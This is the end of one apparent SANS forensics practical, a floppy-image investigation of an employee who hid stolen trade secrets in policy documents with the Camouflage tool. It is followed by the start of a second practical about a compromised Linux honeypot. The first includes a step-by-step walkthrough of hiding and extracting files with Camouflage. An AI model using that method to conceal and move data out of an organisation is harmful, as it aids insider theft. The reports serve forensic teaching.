</tr>
<tr>
<td>Thu Apr 22 2004 16:31:01</td>
<td>32256</td>
<td>m.. 13</td>
<td>a:/Internal_Lab_Security_Policy1.doc (INTERN-1.DOC)</td>
<td></td>
</tr>
<tr>
<td>Fri Apr 23 2004 09:22:00</td>
<td>30720</td>
<td>..c</td>
<td>-</td>
<td>Remote_Access_Policy.doc</td>
</tr>
<tr>
<td>Fri Apr 23 2004 10:15:00</td>
<td>30264</td>
<td>m.. 9</td>
<td>-</td>
<td>pem_fuelcell.gif</td>
</tr>
<tr>
<td>Fri Apr 23 2004 10:19:00</td>
<td>30264</td>
<td>..c</td>
<td>-</td>
<td>pem_fuelcell.gif</td>
</tr>
<tr>
<td>Fri Apr 23 2004 10:21:00</td>
<td>208127</td>
<td>..c</td>
<td>-</td>
<td>Hydrocarbon%20fuel%20cell%20page2.jpg</td>
</tr>
<tr>
<td>Fri Apr 23 2004 10:23:00</td>
<td>28167</td>
<td>..c</td>
<td>-</td>
<td>PEM-fuel-cell-large.jpg</td>
</tr>
<tr>
<td>Fri Apr 23 2004 10:55:56</td>
<td>727</td>
<td>m.. 28</td>
<td>a:/index.htm (deleted)</td>
<td></td>
</tr>
<tr>
<td>Fri Apr 23 2004 11:19:00</td>
<td>312</td>
<td>..c</td>
<td>-</td>
<td>Opportunity.txt</td>
</tr>
<tr>
<td>Fri Apr 23 2004 11:21:00</td>
<td>184320</td>
<td>m..</td>
<td>-</td>
<td>CAT.mdb</td>
</tr>
<tr>
<td>Fri Apr 23 2004 11:54:00</td>
<td>30720</td>
<td>m.. 23</td>
<td>a:/Remote_Access_Policy.doc (REMOTE-1.DOC)</td>
<td></td>
</tr>
<tr>
<td>Fri Apr 23 2004 11:55:00</td>
<td>39936</td>
<td>m..</td>
<td>-</td>
<td>Password_Policy.doc</td>
</tr>
<tr>
<td>Fri Apr 23 2004 11:55:26</td>
<td>307935</td>
<td>m.. 20</td>
<td>a:/Password_Policy.doc (PASSWO-1.DOC)</td>
<td></td>
</tr>
<tr>
<td>Fri Apr 23 2004 14:03:00</td>
<td>312</td>
<td>m.. 9</td>
<td>-</td>
<td>Opportunity.txt</td>
</tr>
<tr>
<td>Fri Apr 23 2004 14:10:50</td>
<td>22528</td>
<td>m.. 27</td>
<td>a:/Acceptable_Encryption_Policy.doc (ACCEPT-1.DOC)</td>
<td></td>
</tr>
<tr>
<td>Fri Apr 23 2004 14:11:10</td>
<td>42496</td>
<td>m.. 9</td>
<td>a:/Information_Sensitivity_Policy.doc (INFORM-1.DOC)</td>
<td></td>
</tr>
<tr>
<td>Sun Apr 25 2004 00:00:00</td>
<td>0</td>
<td>.a. 3</td>
<td>a:/RJL (Volume Label Entry)</td>
<td></td>
</tr>
</tbody>
</table>
Table 2.5 MAC timeline + Uncamouflaged Modify and Create times

<table>
<thead>
<tr>
<th>Date</th>
<th>Size</th>
<th>Type</th>
<th>Meta</th>
<th>File Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sun Apr 25 2004</td>
<td>0</td>
<td>m.c</td>
<td>3</td>
<td>a:/RJL (Volume Label Entry)</td>
</tr>
<tr>
<td>Mon Apr 26 2004</td>
<td>727</td>
<td>.a.</td>
<td>28</td>
<td>a:/_ndex.htm (deleted)</td>
</tr>
<tr>
<td></td>
<td>22528</td>
<td>.a.</td>
<td>27</td>
<td>a:/Acceptable_Encryption_Policy.doc (ACCEPT~1.DOC)</td>
</tr>
<tr>
<td></td>
<td>32256</td>
<td>.a.</td>
<td>13</td>
<td>a:/Internal_Lab_Security_Policy1.doc (INTERN~1.DOC)</td>
</tr>
<tr>
<td></td>
<td>33423</td>
<td>.a.</td>
<td>17</td>
<td>a:/Internal_Lab_Security_Policy.doc (INTERN~2.DOC)</td>
</tr>
<tr>
<td></td>
<td>36864</td>
<td>.a.</td>
<td>5</td>
<td>a:/CamShell.dll (_AMSHELL.DLL) (deleted)</td>
</tr>
<tr>
<td></td>
<td>42496</td>
<td>.a.</td>
<td>9</td>
<td>a:/Information_Sensitivity_Policy.doc (INFORM~1.DOC)</td>
</tr>
<tr>
<td></td>
<td>215895</td>
<td>.a.</td>
<td>23</td>
<td>a:/Remote_Access_Policy.doc (REMOTE~1.DOC)</td>
</tr>
<tr>
<td></td>
<td>307935</td>
<td>.a.</td>
<td>20</td>
<td>a:/Password_Policy.doc (PASSWO~1.DOC)</td>
</tr>
<tr>
<td>Mon Apr 26 2004</td>
<td>36864</td>
<td>..c.</td>
<td>5</td>
<td>a:/CamShell.dll (_AMSHELL.DLL) (deleted)</td>
</tr>
<tr>
<td></td>
<td>42496</td>
<td>..c.</td>
<td>9</td>
<td>a:/Information_Sensitivity_Policy.doc (INFORM~1.DOC)</td>
</tr>
<tr>
<td></td>
<td>32256</td>
<td>..c.</td>
<td>13</td>
<td>a:/Internal_Lab_Security_Policy1.doc (INTERN~1.DOC)</td>
</tr>
<tr>
<td></td>
<td>33423</td>
<td>..c.</td>
<td>17</td>
<td>a:/Internal_Lab_Security_Policy.doc (INTERN~2.DOC)</td>
</tr>
<tr>
<td></td>
<td>307935</td>
<td>..c.</td>
<td>20</td>
<td>a:/Password_Policy.doc (PASSWO~1.DOC)</td>
</tr>
<tr>
<td></td>
<td>215895</td>
<td>..c.</td>
<td>23</td>
<td>a:/Remote_Access_Policy.doc (REMOTE~1.DOC)</td>
</tr>
<tr>
<td></td>
<td>22528</td>
<td>..c.</td>
<td>27</td>
<td>a:/Acceptable_Encryption_Policy.doc (ACCEPT~1.DOC)</td>
</tr>
<tr>
<td>Mon Apr 26 2004</td>
<td>727</td>
<td>..c.</td>
<td>28</td>
<td>a:/_ndex.htm (deleted)</td>
</tr>
</tbody>
</table>

From the timeline, a few things could be discerned about the chain of events. Here are a few interesting points in the order they occurred.

1. At 3:57 pm MST, on April 22\textsuperscript{nd}, the CAT.mdb database was created. Since this was a portion of a larger database, it was probably exported to local disk, rather than created by hand (which it would have been if this was a staged event.)
2. A half hour later, Internal_Lab_Security_Policy.doc was created on the local disk and a modified version was saved a minute later. The Internal_Lab_Security_Policy1.doc was also created at this time. A quick check of MD5sums show that “Policy1.doc” and the original “Policy.doc” file are exactly the same, so Mr. Leszczynski probably just saved it twice, with different names.
3. At 9:22 am, April 23\textsuperscript{rd}, Remote_Access_Policy.doc and Password_Policy.doc were both saved to local disk.
4. Between 10:15 am and 10:23 am on the same day, the various graphic files were saved to local disk.
5. At 11:19 am, April 23\textsuperscript{rd}, the Opportunity.txt file was created on local disk.
6. At 2:03 pm, April 23\textsuperscript{rd}, Opportunity.txt was modified. This is the last timestamp from the uncamouflaged files. It is sometime after this that the camouflaged files were created.
7. At 9:46 am, April 26\textsuperscript{th}, CamShell.dll and the document files were written to the floppy disk. It appears as though CamShell.dll was copied to the floppy by accident, because it was deleted within a few seconds of being written to disk. This is apparent because...
8. At 9:47 am, index.htm was written to the floppy, overwriting CamShell.dll. Sometime later, index.htm was also deleted.

2.4 The Program Used

True name of program used by Mr. Leszczynski

The program used by Mr. Leszczynski to hide confidential Ballard Industries data was **Camouflage v1.2.1**, freely available at [http://camouflage.unfiction.com](http://camouflage.unfiction.com).

Keywords associated with program (show string search)

The keywords used to search for information regarding Camouflage are:

```bash
[boingo: ~/fl-aut/output/recovered]$ cat keywords
CamShell.dll
1CamouflageShell
C:\My Documents\VB Programs\Camouflage\Shell\IctxMenu.tlb
BitmapShellMenu
CamouflageShell
ll\SheCamouflageShell
```

3 Forensics Details

3.1 Program Details

The name of the program used by Mr. Leszczynski to smuggle data out of Ballard Industries is Camouflage v1.2.1. It is a Windows utility that will run on most Microsoft Windows Operating Systems. It was written to run on Windows 95, 98, ME, NT and 2000. It is also known to run on Windows XP.

3.2 Last time used

There is no way of knowing the last time the program was used by Mr. Leszczynski, since the program itself was not available on the floppy disk. The best I can say is the time period in which it was used to camouflage the last of the files Mr. Leszczynski tried to remove from the Lab. According to the MAC timeline, the last file to be modified was Opportunity.txt, at 2:03 pm MST, April 23rd. Opportunity.txt was hidden inside Internal_Lab_Security_Policy.doc sometime after this. Internal_Lab_Security_Policy.doc (with hidden payload) was copied to the floppy disk at 9:46 am MST, April 26th. It follows that Camouflage was used to hide Opportunity.txt sometime between these two times. When exactly, I can not tell.
3.3 How it works

The basic concept of what Camouflage does is very simple. Camouflage takes a file or files as its input, as well as a host file. Camouflage encrypts these target files, and attaches them to the end of the host file (think parasite) in such a way that the host file behaves normally (besides the large growth). Camouflage gives the user the option of overwriting the original host file with the modified version, or making a copy in a different directory. The hidden target file(s) can be encrypted with a password if desired to make them more secure. To extract the files, the user simply selects the file and picks “Uncamouflage” from the context menu available with a right click. To increase the security of any hidden files Camouflage always asks for a password, whether the hidden target files need a password, or even exist at all. Once a password is supplied (blank or otherwise), Camouflage checks for hidden files. If it finds them, and the password matches, it extracts the target files to a directory of the user's choosing.

The program itself is only available in binary form, so without a debugger, decompiler, and the programming background required to use these tools successfully, not a whole lot can be learned about the inner workings of the program itself. I was unable to determine what encryption method Camouflage used, or much more about the program's internal workings. I was forced to rely on observation and reading the documentation to determine what Camouflage did. Luckily, I'm good at that.

Camouflage a file

The first thing Camouflage does is hide files. Here is a step by step analysis of what happens.

1. Select a target file to hide, and right click to get the context menu options. Choose “Camouflage”
2. Camouflage displays the files it will be hiding. Note the original Created and Modified times are listed.
3. Next, the host file is specified. Camouflage will encrypt the target file and attach it to the end of a copy of the host file. It doesn't directly modify the actual host file this way.

4. Next the destination location and filename is specified. In this case, I choose a different directory so I could compare the resulting host file with the original.
5. A password is specified. A blank password can be used, but in this case I used the word “Remote” just as Mr. Leszczynski did originally.

6. The target file is hidden, and the modified host file is produced and placed in the specified location. A quick look at both the original and the modified host file show that all timestamps are retained.
Uncamouflage a file

The only other thing Camouflage does is recover hidden files. Here is a step by step analysis of that process.

1. As before, a file is selected. Next, Uncamouflage is selected from the context menu.
2. Before Camouflage does anything else, it asks for a password. This is to protect the security of any hidden files. If it behaved differently depending on if a password were required, or if there weren't any hidden files attached to the file selected, it would give too much information away. I entered in the password “Remote”.

Illustration 3.7 Start the Uncamouflage process
3. After receiving a password, Camouflage used it to check for any hidden files. Since it found some, it displayed them. Notice that it also displays the original host file, including matching Created and Modified timestamps.

4. Next, an extraction location is chosen. Though I could overwrite the modified files, again I choose a different directory so the output files could be compared later.
5. The files are extracted without issue. As noted before, all timestamps are preserved from the original to the re-extracted files. The file sizes also match.
The timestamps and size from the original and restored host file also match.
3.4 Compare results of its use

It is important to know whether the files created by Camouflage could be reproduced exactly. While not truly necessary, this ability would help provide more conclusive evidence that Mr. Leszczynski used Camouflage during his transgressions. To that end, I conducted a few tests to see if the exact files found on the floppy disk image were reproducible.

Re-combined files

In section 3.3 I demonstrated the steps necessary to hide and extract Camouflaged files. I followed this process for all 3 sets of recovered files:
1. “Internal_Lab_Security_Policy.doc” with no password containing
   1. “Opportunity.txt”
2. “Password_Policy.doc” with the password “Password” containing
   1. “Hydrocarbon%20fuel%20cell%20page2.jpg”
   2. “pem_fuelcell.gif”
   3. “PEM-fuel-cell-large.jpg”
3. “Remote_Access_Policy.doc” with the password “Remote” containing
1. “CAT.mdb”
   Once these were recombined, I compared the modified host files to the host files
   recovered off the floppy. As suspected, the Modify and Create timestamps were the same, along
   with the file size. However, to my disappointment, the MD5 hash of the two files were different.

   ![md5sum comparison of combined files with original]

   MD5 comparisons between the other 2 files yielded similar results.

   Re-combine files again

   To verify that I had done nothing wrong, I re-Camouflaged the same files one more time,
   and checked their MD5 hashes against the original, and the first attempt.

   ![md5comparison of re-combined files with originals]

   Once again, the MD5 hashes were different. In fact, they were all different. Upon
   reflection, this did make sense, as the encryption mechanism would in all likelihood produce
   slightly different results each time it was executed. Any encryption technology that uses 1 time
   session keys (such as PGP\textsuperscript{11}) also exhibits this same phenomenon. The process is described in a
   number of places\textsuperscript{12}, but very, very simply put, the data to be encrypted is compressed, and then
   encrypted using a randomly generated session key. This key is then encrypted using some key
   specified by the user. In our case, it would be the password supplied to Camouflage. The data
   (compressed and encrypted with a session key) and the session key itself (encrypted with the
   known password) are combined, creating an encrypted file. Because the session key is always
different, the file is more secure, and always unique. Data encrypted this way will be the same
size, but an MD5 hash will always show that the files are different.

   For this reason, the files created by Camouflage can never be reproduced exactly.

4 Program Identification

\textsuperscript{11} http://www.pgpi.org/
\textsuperscript{12} http://www.mccune.cc/PGPpage2.htm#128bit or http://www.pgpi.org/doc/pgpintro/#p4
4.1 Find program on Internet and compile it

The program Mr. Leszczynski used to do his dirty work was Camouflage, Version 1.2.1. Although the program is available on line, its source is not. So, rather than find the program on the Internet and compile it, I was forced to find the program and install it. This was already done on my VMware Windows system, as part of the forensic analysis. The next thing that needed to be done was to confirm that the version I downloaded off the website was the same version as the one Mr. Leszczynski used. Simply extracting a camouflaged file tells us what version of Camouflage was used to hide the program (see illustration 1.4 through 1.6), but I wanted more concrete evidence.

4.2 Compare results with program on disk (CamShell.dll) w/MD5

To gather this evidence, I had to compare the part of Camouflage that Mr. Leszczynski had (accidentally?) provided on the floppy disk, CamShell.dll, with the CamShell.dll I had downloaded off the Internet. However, the version I had from the floppy disk image was corrupt. Its first block of data had been overwritten and now contained part of a HTML index file. Obviously, and MD5 hash of the two files would be different. To get around this obstacle, I chose to corrupt the known good file with the exact data that had corrupted the recovered file. While this would not give a 100% accurate answer as to whether the files were the same or not, it would be pretty close! CamShell.dll was 36864 bytes long, and the corruption caused by index.htm was only 726 bytes long. This meant that only 1.97% of the CamShell.dll was corrupt. If my manually corrupt file matched the recovered file, then I could be at least 98.03% sure Mr. Leszczynski used the same version of CamShell.dll (and therefore Camouflage) as I had downloaded. Not quite DNA evidence, but not bad overall.

The first step was to examine the recovered CamShell.dll file using KHexEdit and see where the corruption stopped. It looked like it stopped at byte 726.
A quick comparison of this area on the known good CamShell.dll shows that the entire area should be all null.
I then copied the corrupt section from the recovered CamShell.dll, and pasted it over the first 726 bytes of the known good CamShell.dll file. A quick comparison of MD5 hashes generated from each file showed a match.

Illustration 4.2 Known Good CamShell.dll

```
[boingo: ~/fl-aut/output]$ md5sum *CamShell.dll
6462fb3acc0301e52fc4fa4ea5eff8  manual-corruption-CamShell.dll
6462fb3acc0301e52fc4fa4ea5eff8  recovered-CamShell.dll
[boingo: ~/fl-aut/output]$
```

Text 4.1 md5sum comparison between CamShell.dll files
5 Legal Implications

5.1 Briefly, what laws were broken

Because Mr. Leszczynski was an employee of Ballard Industries, and had authorized access to both the computers and information inside the company, it would be hard to prosecute him based on any of the statutes of the Federal Computer Fraud & Abuse Act, Title 18 U.S.C. § 1030. Every section of this Act specifies “without authorization or exceeds authorized access”. Although I am not familiar with Mr. Leszczynski’s exact authorization, it is almost certain he had authorization to view all the technical data, and more than likely any customer database.

In fact, since most of the computer related laws are based on unauthorized or under authorized access, it would be difficult to prove that Mr. Leszczynski broke any of them. However, it is obvious that he did break a few laws. The most apparent law he broke was the “Theft of trade secrets Act”, Title 18 U.S.C. § 1832,

(a) Whoever, with intent to convert a trade secret, that is related to or included in a product that is produced for or placed in interstate or foreign commerce, to the economic benefit of anyone other than the owner thereof, and intending or knowing that the offense will, injure any owner of that trade secret, knowingly—
(1) steals, or without authorization appropriates, takes, carries away, or conceals, or by fraud, artifice, or deception obtains such information;
(2) without authorization copies, duplicates, sketches, draws, photographs, downloads, uploads, alters, destroys, photocopies, replicates, transmits, delivers, sends, mails, communicates, or conveys such information;
(3) receives, buys, or possesses such information, knowing the same to have been stolen or appropriated, obtained, or converted without authorization;
(4) attempts to commit any offense described in paragraphs (1) through (3); or
(5) conspires with one or more other persons to commit any offense described in paragraphs (1) through (3), and one or more of such persons do any act to effect the object of the conspiracy, shall, except as provided in subsection (b), be fined under this title or imprisoned not more than 10 years, or both.
(b) Any organization that commits any offense described in subsection (a) shall be fined not more than $5,000,000.

It is safe to say that the technology related to a unique product that Ballard Industries manufactured and sold throughout the world is covered under this Act.

I couldn't find any laws specifically prohibiting the release of the customer contact list. Perhaps a law concerning customer information privacy would apply, but I couldn't find any during my search.

5.2 Penalties for those laws broken

The penalties for breaking the Trade Secrets Act are specified as fines of not more than $5,000,000 and imprisonment for not more than 10 years.

---

13 http://assembler.law.cornell.edu/uscode/html/uscode18/usc_sec_18_00001030----000-.html
14 http://assembler.law.cornell.edu/uscode/search/display.html?terms=1832&url=/uscode/html/uscode18/usc_sec_1
8_00001832----000-.html
5.3 What internal policies were broken

Luckily, I have access to a number of Internal policies of Ballard Industries. Assuming for the moment that the policy documents recovered from the floppy image are accurate, Mr. Leszczynski broke a number of them.

**Acceptable Encryption Policy**

First, Mr. Leszczynski broke the Acceptable Encryption Policy, by using the program Camouflage. Since the encryption scheme of Camouflage is not known, it would be covered under this section of the policy,

> The use of proprietary encryption algorithms is not allowed for any purpose, unless reviewed by qualified experts outside of the vendor in question and approved by InfoSec. Be aware that the export of encryption technologies is restricted by the U.S. Government. Residents of countries other than the United States should make themselves aware of the encryption technology laws of the country in which they reside.

Since Camouflage was not reviewed by the Information Security Department, its use is a violation of this policy.

**Information Sensitivity Policy**

Next, Mr. Leszczynski broke the Information Sensitivity Policy by providing obviously confidential information to someone outside the company. The most relevant section of the policy is under the “Most Sensitive” section of the policy:

> Once again, this type of Ballard Industries Confidential information need not be marked, but users should be aware that this information is very sensitive and be protected as such.

> Access: Only those individuals (Ballard Industries employees and non-employees) designated with approved access and signed non-disclosure agreements.

So, even if the documents weren't specifically marked, Mr. Leszczynski should have known that they were sensitive, and not disclosed them. He obviously DID know they were sensitive, because it is generally difficult to receive $5,000,000 for providing publicly available information to outsiders!

**Removal of Media Policy**

As stated in assignment description, removing the original floppy disk from the R&D lab also broke a company policy. Which specific policy, I don't have access to, but Mr. Keen does.

**Password Policy**

The most amusing policy (to me) that Mr. Leszczynski broke was the one governing acceptable passwords. By encrypting data on the floppy disk using easy to guess passwords, Mr. Leszczynski did actually break the letter of this (internal) law! The Password Policy states, “All
user-level and system-level passwords must conform to the guidelines described below.” It then goes on to define a “weak” password as

Poor, weak passwords have the following characteristics:

- The password contains less than eight characters
- The password is a word found in a dictionary (English or foreign)
- The password is a common usage word such as:
  - Names of family, pets, friends, co-workers, fantasy characters, etc.
  - Computer terms and names, commands, sites, companies, hardware, software.
  - The words "Bright Industries", "sanjose", "sanfran" or any derivation.

Since the passwords protecting confidential documents were very easy to guess, being a derivative of the file's name in which they were hidden, they definitely qualify as weak passwords. The Password Policy also specifies, “Do not share Ballard Industries passwords with anyone, including administrative assistants or secretaries. All passwords are to be treated as sensitive, Confidential Ballard Industries information.” Mr. Leszczynski did this. Last, the policy specifically says not to “hint at the format of a password” which Mr. Leszczynski did in the same document in which he asked for five million dollars for his efforts.

**Punishment**

All of these policies (with the possible exception of the “Removal of Media Policy” I don't have the text for) have the same punishment; “Any employee found to have violated this policy may be subject to disciplinary action, up to and including termination of employment.”

### 6 Conclusion

Between the dates of April 22\textsuperscript{nd} and April 26\textsuperscript{th}, Mr. Leszczynski acquired copies of proprietary data and used the program “Camouflage v1.2.1” to conceal this data inside innocuous policy documents. Mr. Leszczynski then attempted to remove these documents from company property by way of a floppy diskette.

While his first attempt to remove this proprietary data failed, and led to the confiscation of said floppy, subsequent attempts were obviously attempted and did succeed. This is obvious because of the loss of sales and the release of products by competitors with the same technology once unique to Ballard Industries. Mr. Leszczynski broke at least one Federal Statute by exporting this data, as well as a number of internal company policies.
Published References

Lee, R.. Forensic and Investigative Essentials. The SANS institute, 2004


Green, J. Carrier, B., & Lee, R. Forensic Methodology Illustrated using Linux I & II. The SANS Institute, 2004


Salgado, Richard P., Forensics and Incident Response: The Law Enforcement Perspective. The SANS Institute, 2004

Fung, J., Dead Linux Machines Do Tell Tales. The SANS Institute, 2003

Bartlett, J., The Ease of Stganography and Camouflage. The SANS Institute, 2002

Fraud and related activity in connection with computers, US CODE: Title 18, § 1030, 2002

Theft of trade secrets, US CODE: Title 18, § 1832, 1996

Web References


Index of Tables

Table 1.1 Sleuth Kit tools used ................................................................. 2
Table 1.2 Mount options ........................................................................ 5
Table 2.1 Non-deleted files from Floppy Image ....................................... 16
Table 2.2 Recovered Files from Floppy Image ....................................... 16
Table 2.3 fls options .............................................................................. 18
Table 2.4 mactime options .................................................................. 18
Table 2.5 MAC timeline + Uncamouflaged Modify and Create times ...... 21

Index of Illustrations

Illustration 1.1 Autopsy view of floppy image ...................................... 6
Illustration 1.2 Autopsy view of _ndex.htm contents ......................... 7
Illustration 1.3 Camouflage Password Request Window ..................... 10
Illustration 1.4 Hidden files in “Internal_Lab_Security_Policy.doc” .... 11
Illustration 1.5 Hidden files in “Password_Policy.doc” ...................... 12
Illustration 1.6 Hidden files in “Remote_Access_Policy.doc” ............ 13
Illustration 2.1 MD5 Sums of Floppy Image files .............................. 16
Illustration 2.2 MD5 Sums of Recovered Floppy Image files ............. 17
Illustration 2.3 Create times for Uncamouflaged files ....................... 19
Illustration 2.4 Modify times for Uncamouflaged files ....................... 19
Illustration 3.1 Start the Camouflage process .................................. 24
Illustration 3.2 Select the files to be hidden .................................... 25
Illustration 3.3 Select the host file ..................................................... 25
Illustration 3.4 Select the destination directory and filename ............ 26
Illustration 3.5 Enter the security password .................................... 26
Illustration 3.6 Timestamps match on original and modified host file ... 27
Illustration 3.7 Start the Uncamouflage process ................................ 28
Illustration 3.8 Enter security password (whether or not its needed) ... 29
Illustration 3.9 Hidden files (and original host file) found ............... 29
Illustration 3.10 Enter extraction location ....................................... 30
Illustration 3.11 Original and extracted target file match in all respects ... 31
Illustration 3.12 Original and extracted host file also match ............. 32
Illustration 4.1 End of corruption on recovered file ......................... 35
Illustration 4.2 Known Good CamShell.dll ....................................... 36

Index of Text Frames

Text 1.1 File listing ............................................................................... 5
Text 1.2 file guesses wrong for CamShell.dll .................................... 7
Text 1.3 Strings of CamShell.dll .......................................................... 8
Text 1.4 Keyword list ........................................................................... 9
Text 1.5 Contents of Opportunity.txt ............................................... 11
Text 2.1 CamShell.dll keyword list .................................................... 22
Text 3.1 md5sum comparison of combined files with original .......... 33
Text 3.2 md5comparison of re-combined files with originals ............ 33
Text 4.1 md5sum comparison between CamShell.dll files ............... 36
How not to use a rootkit

GCFA Practical Assignment
Version 1.5

Part 2 Option 1: Perform Forensics Analysis on a system

Submitted 10/5/2004

By Michael Wilson
## Table of Content

1. SYNOPSIS OF CASE ................................................................. 1
2. BACKGROUND ........................................................................ 2
   2.1 SYSTEM DESCRIPTIONS ...................................................... 2
       Honeypot .............................................................................. 2
       Forensic System ................................................................. 2

RUNNING SUMMARY ..................................................................... 2

3. INTRUSION VERIFICATION AND PRE-IMAGE DATA GATHERING ....... 3
4. IMAGE MEDIA ........................................................................ 3
   Setup ...................................................................................... 4
   Power-up .............................................................................. 4
   Copy ..................................................................................... 4
   Verify .................................................................................. 5

RUNNING SUMMARY, PART 2 ..................................................... 7

5. MEDIA ANALYSIS OF SYSTEM .................................................. 8
   5.1 MOUNTING THE IMAGES .................................................... 8

WHERE TO MOUNT? ................................................................. 8
   5.2 MD5 COMPARISON ............................................................ 9
       MD5 sums in the real world .................................................. 11
   5.3 BASIC RECON ................................................................. 11
   5.4 HIDDEN DIRECTORIES ..................................................... 12
   5.5 HIDDEN FILES IN /DEV ..................................................... 13
       Infected! .............................................................................. 13

FILE SYSTEMS .......................................................................... 15

RUNNING SUMMARY, PART 3 ..................................................... 18
   5.6 SUID/SGID FILES ............................................................ 18

LOGS AND ROOTS ..................................................................... 19
   5.7 SYSTEM LOGS ................................................................. 20
   5.8 BASH_HISTORY ............................................................... 21
       Simple Beginnings ............................................................ 22
       First Download ............................................................... 22
       Expl.tgz and root access .................................................... 23
       Adore'ing the Honeypot ..................................................... 25
       Another Backdoor and then some ................................. 27
       Scan and Infect .............................................................. 28
       Woot and Mirkforce ......................................................... 29
       Clean up ............................................................................ 31

RUNNING SUMMARY, PART 4 ..................................................... 31

6. TIMELINE ANALYSIS .............................................................. 32
   Creating the Timeline ........................................................... 33
   Timeline Tidbits ................................................................. 35

RUNNING SUMMARY, PART 5 ..................................................... 41

7. RECOVER DELETED FILES ...................................................... 41
8. STRING SEARCH ................................................................. 43
9. CONCLUSION ........................................................................ 49
   9.1 FINAL SUMMARY ........................................................... 49
   9.2 FINAL CONCLUSIONS ..................................................... 50

PUBLISHED REFERENCES ......................................................... 52
WEB REFERENCES ...................................................................... 52
1 Synopsis of Case

The assignment was to analyze a compromised system. Working in an environment not exactly conducive to security made it difficult to even find a compromised system, let alone analyze it. Because of this, I decided to make a Honeypot system specifically for this analysis. After gathering up some not so impressive hardware, and installing a not so impressive operating system with every possible security flaw I could think of, the system was ready to deploy. I also made a scanner system to watch the Honeypot and report back on the instant and total compromise of the system. I deployed both systems at work on the outside of all firewalls, on a relatively unused segment of our network. And there the systems sat.

And sat, and sat, and sat.

After about 3 weeks of sitting, waiting, and diligently checking the scanner system many times a day, I started to get just a tad annoyed. Where were all those horrible Black Hats? Why weren't they swooping down from the sky to attack my poor defenseless system? After lamenting my situation to all within range of my voice (or who couldn't run away fast enough) I was politely informed by some of the “grayer” system administrators in our company that the system was too obviously a Honeypot system, and no one in their right mind would touch it. Other than introducing a potential way of securing a system (by opening it up completely, and naming it “Honeypot2”) this information did nothing except inform me that I needed to work on the Honeypot more.

So, back at the work bench, I reconfigured the Honeypot. I hardened it a bit, but left some slightly less obvious openings such as an old version of SSH, wu-ftp, and phpMyAdmin. I then took the systems home, and connected them to my network, thinking that maybe the network segment at work was too obscure for people to find. I plugged the systems in, and there they sat.

And sat, and sat, and sat.

A fair amount of time AFTER giving up hope, I checked the scanner system and found a large number of SSH login attempts for users like “test” and “guest.” I figured, what the heck, lets give 'em some help! On August 16th, at 11:04 pm, PST, I created a regular user, “test” and set its password to “test”. About 2 days later, the scanner system's ethereal network dump showed multiple successful SSH connections, and a large amount of traffic initiated from the Honeypot system directed to the Internet at large. Someone FINALLY broke into my Honeypot! And so begins the saga of,

How not to use a rootkit
2 Background

2.1 System Descriptions

Honeypot

The system compromised was a fairly standard Toshiba desktop system. Originally it was a desktop system for someone in the department, back in the day when Pentium IIs were the belle of the ball. When I acquired the system to use as a Honeypot, it was sitting in a corner, helping to keep dust from spreading. Originally the system had Windows 98 installed, but that didn't last more than a few minutes once I got hold of it! By the time I was finished, it had Redhat Linux 6.2, and was built to look marginally like a development system that had accidentally gotten onto an outside network.

<table>
<thead>
<tr>
<th>Tag #</th>
<th>Description</th>
<th>Seized from</th>
<th>Date</th>
</tr>
</thead>
</table>
| 1-1   | Toshiba Equium 7100D  
Serial Number: 19044118A  
Part Number: PV1046U-2UNJ0  
Processor: PII MMX 350 MHz  
Memory: 64Mb SDRAM  
Network: Some generic 3com 10BaseT card | My office, at home, next to where the ferret sleeps. | 2004-08-20 20:53PST |
| 1-2   | Western Digital Caviar 24300 Enhanced IDE Hard Drive  
Model: AC24300-00LK  
Serial Number: WT486 130 6949  
Size: 4311.9Mb Raw | Inside the Toshiba, found in my office, at home, next to where the ferret sleeps. | 2004-08-20 20:53PST |

Table 2.1 Evidence List

Forensic System

It's difficult to analyze a compromised computer system without the help of another computer. Staring at the hard disk and instructing it to tell me what happened did not, to my great annoyance, yield any positive results. That tactic failed, I turned to my handy dandy forensic laptop. This laptop is a Compaq nc6000. It has a 1.6Ghz Intel Pentium 4 processor, 512 Megs of ram, and a 40Gb hard drive. I installed Red Hat Fedora Core 2 Linux, and upgraded to kernel 2.6.7-1.494.2.2. Every part of the forensic analysis, including writing the report, was done on this laptop.

Running Summary

So, what do we have so far? Well, not much. We have a Linux Redhat 6.2 system that was setup as a Honeypot and was successfully hacked. We have outside confirmation that a hack took place by way of a scanner system watching the Honeypot. We have someone connected via SSH and stayed connected for a while, and we know there was a lot of network traffic going OUT that shouldn't have existed.

We don't know who hacked the system, their skill level, or their probable purpose. We
also don't know what was done on the system, other than “it was hacked.” Hopefully these questions and more will be answered in part or in full as the analysis continues.

3 Intrusion verification and pre-image data gathering

Intrusion verification and pre-image data gathering are just about always the first thing done on a potentially compromised system. These steps aren't technically required for the GCFA, but I mention them here because my actions during the pre-image data gathering process did affect the data to be analyzed.

The verification of the intrusion in this case was fairly trivial. The scanner system network logs and Snort alerts clearly showed something happened. The fact that the system was completely unused up until the intrusion means that any traffic coming from the system is suspect. This leaves the gathering of data prior to imaging.

A big question in computer forensics is how much data to gather from a recently compromised system. Any thing done to the system WILL change it. How much is the data worth? Can the data be retrieved without doing so much damage that no usable evidence is left? There are no clear answers to these questions, so I made a judgment call. I decided that I wanted current system state information from the hacked system, and I was willing to risk some damage to the evidence to get that data. I wanted information like the data currently in memory, and the open network connections. My goal was to login to the console as root, and mount a shared directory on the scanner system via NFS. From there I would run an automated tool called Grave-Robber, part of “The Coroner's Toolkit”\(^{15}\) to gather data in a theoretically forensically intelligent manner, and write this data to the shared drive. This would allow me to create no local files, and run a relatively few fairly commonly used programs on the local system, thus insuring minimal changes occur on the hacked system. Also, when it came time to image the system, I would use statically linked binaries on the NFS share to do the imaging. The goal of the statically linked binaries is to once again, minimize damage to any potential evidence.

Unfortunately, something went wrong. For some reason Grave-Robber would freeze every time I ran it. What was worse, at least some of the automated processes it kicked off stayed running in the background and would not die. In my haste to gather evidence, I also forgot that Grave-Robber uses local utilities right off the disk to gather information, rather than known good binaries from a source I specify. So, with the best of intentions, I managed to touch many more files than I should have, and potentially destroy valuable evidence in the process. I could probably make some cool saying about intentions and hell out of this example if I really tried, huh?

There was no turning back at this point however, so I gathered what evidence I could by hand and proceeded to the next step, imaging the media for later analysis. Off goes the power, and out comes the disk drive.

4 Image Media

The next step in a forensic analysis is to analyze the data on the hard disk. This analysis

\(^{15}\) Available at http://www.porcupine.org/forensics/tct.html
